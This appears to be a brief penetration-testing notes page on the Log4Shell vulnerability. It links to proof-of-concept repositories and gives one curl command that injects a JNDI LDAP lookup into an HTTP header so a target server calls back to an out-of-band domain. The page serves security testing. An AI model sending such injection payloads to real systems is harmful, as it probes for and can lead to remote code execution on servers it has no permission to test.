> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/perimeter/log4j-log4shell.md).

# Log4j / Log4Shell

* <https://github.com/kozmer/log4j-shell-poc>

## Log4jHorizon

* <https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return>
* <https://github.com/puzzlepeaches/Log4jHorizon>

Check with [DNSLog](http://dnslog.cn/):

```
$ curl -vvk https://vdi.exmaple.com/portal/info.jsp -H 'Accept-Language: ${jndi:ldap://zcf4r9z7oxec13t7fu1k14n0vr1ip8dx.oastify.com:1337/test}'
```